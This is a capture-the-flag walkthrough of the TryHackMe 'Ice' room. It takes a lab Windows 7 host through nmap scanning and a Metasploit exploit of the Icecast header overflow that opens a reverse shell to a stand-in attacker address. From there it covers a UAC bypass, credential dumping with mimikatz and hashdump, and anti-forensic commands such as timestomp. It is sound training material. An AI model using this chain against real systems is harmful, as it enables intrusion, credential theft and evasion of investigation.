Index

Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the Access page.

I'll be using openvpn to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

PS: the room on THM has a very nice and detailed description for this setup phase :)

Enumeration

Starting off with some standard NMAP scans:

```
$ sudo nmap -sS --top-ports 1000 -vv MACHINE_IP
...

Scanning MACHINE_IP [1000 ports]
Discovered open port 3389/tcp on MACHINE_IP
Discovered open port 139/tcp on MACHINE_IP
Discovered open port 445/tcp on MACHINE_IP
Discovered open port 135/tcp on MACHINE_IP
Discovered open port 8000/tcp on MACHINE_IP
Discovered open port 49153/tcp on MACHINE_IP
Discovered open port 49158/tcp on MACHINE_IP
Discovered open port 5357/tcp on MACHINE_IP
Discovered open port 49154/tcp on MACHINE_IP
Discovered open port 49152/tcp on MACHINE_IP
Discovered open port 49160/tcp on MACHINE_IP
Discovered open port 49159/tcp on MACHINE_IP

...

PORT      STATE SERVICE       REASON
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
```

```
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5357/tcp  open  wsdapi        syn-ack ttl 127
8000/tcp  open  http-alt      syn-ack ttl 127
49152/tcp open  unknown       syn-ack ttl 127
49153/tcp open  unknown       syn-ack ttl 127
49154/tcp open  unknown       syn-ack ttl 127
49158/tcp open  unknown       syn-ack ttl 127
49159/tcp open  unknown       syn-ack ttl 127
49160/tcp open  unknown       syn-ack ttl 127

...
```

NOTE: Even though the task description says to scan all ports, it’s far quicker to scan top ports.

```
$ sudo nmap -sV -vv -p3389,139,445,135,8000,49153,49158,5357,49154,49152,49160,49159  MACHINE_IP

...

PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5357/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open  http          syn-ack ttl 127 Icecast streaming media server
49152/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49159/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

...
```

Looking through the results of these scans, we can guess that the “more interesting ports that is open is Microsoft Remote Desktop (MSRDP)” is, in fact, port `3389`

> Once the scan completes, we’ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?
> \> 3389

Yet another question answered:

> What service did nmap identify as running on port 8000? (First word of this service)
> \> Icecast

We also get the answer of the final question:

> What does Nmap identify as the hostname of the machine? (All caps for the answer)
> > DARK-PC

Gain Access

With some digging around on the website mentioned in the section’s first question (https://www.cvedetails.com/), we quickly find the vulnerability: CVE-2004-1561. To answer the first question:

> What type of vulnerability is it?
> > Execute Code Overflow

Furthermore, the answering the second question:

> What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
> > CVE-2004-1561

As directed, we’ll fire up metasploit and search for an exploit:

```
$ sudo msfconsole -q
msf6 >

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-
                                      framework/wiki/Using-Metasploit
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.80.0.22       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

```


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

The answer for the 3rd question:

> What is the full path (starting with exploit) for the exploitation module?
> > exploit/windows/http/icecast_header

```
msf6 exploit(windows/http/icecast_header) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP

msf6 exploit(windows/http/icecast_header) > set LHOST ATTACKER_IP
LHOST => ATTACKER_IP

msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] Sending stage (175686 bytes) to MACHINE_IP
[*] Meterpreter session 1 opened (ATTACKER_IP:4444 -> MACHINE_IP:49223) at 2022-10-26 20:07:42 +0330
```

Done! Now we can move onto privilage escalation.

Privilage Escalation

Since we now have a *meterpreter* session going, the term's also the answer for the first question in this section:

> What's the name of the shell we have now?
> > meterpreter

We can get the answer to the next question like so:

```
meterpreter > getuid
Server username: Dark-PC\Dark
```

> What user was running that Icecast process?
> > Dark

To get some information on the system, we can execute `sysinfo`:

```
meterpreter > sysinfo
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
```

```
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
```

We thus have the answer to the third and foutth questions:

> What build of Windows is the system?
> > 7601

> What is the architecture of the process we’re running?
> > x64

Executing: `run post/multi/recon/local_exploit_suggester` will, as the name suggests, give us names of some potential exploits that we can make use of.

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] MACHINE_IP - Collecting local exploits for x86/windows...
[*] MACHINE_IP - 170 exploit checks are being tried...
[+] MACHINE_IP - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] MACHINE_IP - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] MACHINE_IP - Valid modules for session 1:
============================

  #  Name                                                          Potentially Vulnerable?  Check Result
  -  ----                                                          -----------------------  ------------
  1  exploit/windows/local/bypassuac_eventvwr                      Yes                      The target appears
 ↪  to be vulnerable.
  2  exploit/windows/local/ms10_092_schelevator                    Yes                      The service is
 ↪  running, but could not be validated.
  3  exploit/windows/local/ms13_053_schlamperei                    Yes                      The target appears
 ↪  to be vulnerable.
  4  exploit/windows/local/ms13_081_track_popup_menu               Yes                      The target appears
 ↪  to be vulnerable.
  5  exploit/windows/local/ms14_058_track_popup_menu               Yes                      The target appears
 ↪  to be vulnerable.
  6  exploit/windows/local/ms15_051_client_copy_image              Yes                      The target appears
 ↪  to be vulnerable.
  7  exploit/windows/local/ntusermndragover                        Yes                      The target appears
 ↪  to be vulnerable.
  8  exploit/windows/local/ppr_flatten_rec                         Yes                      The target appears
 ↪  to be vulnerable.
 9   exploit/windows/local/tokenmagic                              Yes                     The target appears
↪  to be vulnerable.

...
...
...
```

This gives the answer to the next question:

> What is the full path (starting with exploit/) for the first returned exploit?
> \> exploit/windows/local/bypassuac_eventvwr

We can now background this session and move on to using the mentioned exploit to get escalated privileges.

```
meterpreter > background
[*] Backgrounding session 1...

msf6 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

Setting some options and running the exploit will get us an escalated session:

```
msf6 exploit(windows/local/bypassuac_eventvwr) > options

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.80.0.22       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86

msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST ATTACKER_IP
LHOST => ATTACKER_IP

msf6 exploit(windows/local/bypassuac_eventvwr) > sessions
```

```

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  ATTACKER_IP:4444 -> MACHINE_IP:4922
                                                             3 (MACHINE_IP)

msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
SESSION => 1

msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175686 bytes) to MACHINE_IP
[*] Meterpreter session 2 opened (ATTACKER_IP:4444 -> MACHINE_IP:49260) at 2022-10-26 20:41:23 +0330
[*] Cleaning up registry keys ...
```

This created a new session (session: 2) which we can now use to do whatever we need to do.

There's some questions along the way that're quite obviously answered, but here's the answers just in case:

> Now that we've set our session number, further options will be revealed in the options menu. We'll have to set one more as our listener IP isn't correct. What is the name of this option?
> \> LHOST

```
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  ATTACKER_IP:4444 -> MACHINE_IP:4922
                                                             3 (MACHINE_IP)
  2         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  ATTACKER_IP:4444 -> MACHINE_IP:4926
                                                             0 (MACHINE_IP)
```

In case you haven't yet got a `meterpreter >` prompt up, but have a new session available, you can bring it to foreground using `sessions -i 2` or `sessions 2`:

```
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions -i  2
[*] Starting interaction with 2...
```

```

meterpreter >
```

We can now view our privilages by executing `getprivs`:

```
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

Looking through this list of permissions gives us the answer to the next question:

> What permission listed allows us to take ownership of files?
> > SeTakeOwnershipPrivilege

Looting

For those wondering, this phase usually involves *looting* credentials and hashes for later or current use.

As instructed, we'll first have a peek at the processes using `ps`:

```
meterpreter > ps

```

```
Process List
============

 PID   PPID  Name             Arch  Session  User                          Path
 ---   ----  ----             ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System           x64   0
 100   692   svchost.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchos
                                                                           t.exe
 416   4     smss.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.e
                                                                           xe
 508   692   svchost.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchos
                                                                           t.exe
 544   536   csrss.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.
                                                                           exe
 592   536   wininit.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\winini
                                                                           t.exe
 600   692   vds.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.ex
                                                                           e
 604   584   csrss.exe        x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.
                                                                           exe
 652   584   winlogon.exe     x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlog
                                                                           on.exe
 692   592   services.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\servic
                                                                           es.exe
 700   592   lsass.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.
                                                                           exe
 708   592   lsm.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.ex
                                                                           e
 820   692   svchost.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchos
                                                                           t.exe
             ...
 1376  692   spoolsv.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spools
                                                                           v.exe
             ...
 1572  692   amazon-ssm-agen  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SS
             t.exe                                                         M\amazon-ssm-agent.exe
 1588  692   TrustedInstalle  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\Trust
             r.exe                                                         edInstaller.exe
 1656  692   LiteAgent.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xe
                                                                           ntools\LiteAgent.exe
             ...
 1836  692   Ec2Config.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec
                                                                           2ConfigService\Ec2Config.e
                                                                           xe
             ...
 2600  692   SearchIndexer.e  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\Search
             xe                                                            Indexer.exe
```

There’s a whole bunch of processes, but we’re only interested in the ones that belong to NT AUTHORITY/SYSTEM, so I took the liberty of removing all other entries of the output.

Out of all of these processes, the ones that the room suggests we utilize for looting is `lsass.exe` (`PID 700; PPID 592`) and the service `spoolsv.exe` (`PID 1376; PPID 692`). The latter being the answer to the first question in this section:

> What's the name of the printer service?
> \> spoolsv.exe

Now, we migrate to this process, like so:

```
meterpreter > migrate -N spoolsv.exe
[*] Migrating from 2224 to 1376...
[*] Migration completed successfully.
```

Now that we've migrated, let's check our uid:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We thus have the answer to the second question:

> Let's check what user we are now with the command `getuid`. What user is listed?
> \> `NT AUTHORITY\SYSTEM`

Now for the actual "*looting*" part. We'll load `mimikatz` for this by executing: `load mimikatz`

```
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )                    '#####'
 ↪  > http://pingcastle.com / http://mysmartlogon.com  ***/
Success.
```

NOTE: As the command output quite clearly suggest that the extenstion's name has been changed to `kiwi`, it's better to use `load kiwi` instead of `load mimikatz`.

Accessing the `help` menu as instructed:

```
meterpreter > ?

...
...
...

Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)

    ...
    ...
```

We get the answer to the next question.

> Which command allows up to retrieve all credentials?
> \> creds_all

And running this command gives us the answer to the question after that:

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain   LM                            NTLM                            SHA1
--------  ------   --                            ----                            ----
Dark      Dark-PC  e52cac67419a9a22ecb0836909    7c4fe5eada682714a036e393783     0d082c4b4f2aeafb67fd0ea568a
                   9ed302                        62bab                           997e9d3ebc0eb

wdigest credentials
===================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
DARK-PC$  WORKGROUP  (null)
Dark      Dark-PC    Password01!

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
Dark      Dark-PC  Password01!

kerberos credentials
====================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!
dark-pc$  WORKGROUP  (null)
```

> What is Dark’s password?
> \> Password01!

Post Exploitation

Now that the machine has been exploited, time for some post-exploitation steps like leaving backdoors and removing traces.

Using the hashdump command dumps the contents of the SAM database. It's also the answer to the first question:

> What command allows us to dump all of the password hashes stored on the system?
> \> hashdump

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:7c4fe5eada682714a036e39378362bab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Going through the help menu, we get answers for some more questions in this section:

> What command allows us to watch the remote user's desktop in real time?
> \> screenshare

> How about if we wanted to record from a microphone attached to the system?
> \> record_mic

> To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this?
> \> timestomp

> Mimikatz allows us to create what's called a golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this?
> \> golden_ticket_create

With this last question, we can conclude this room!

Conclusion

Kudos to DarkStar7471 for creating such a banger room. I hope that this writeup helped whoever came across it. If you found this document helpful, consider dropping a star and/or following me on github: https://github.com/NovusEdge

---

Room: Ice by DarkStar7471

Writeup Author: Aliasgar Khimani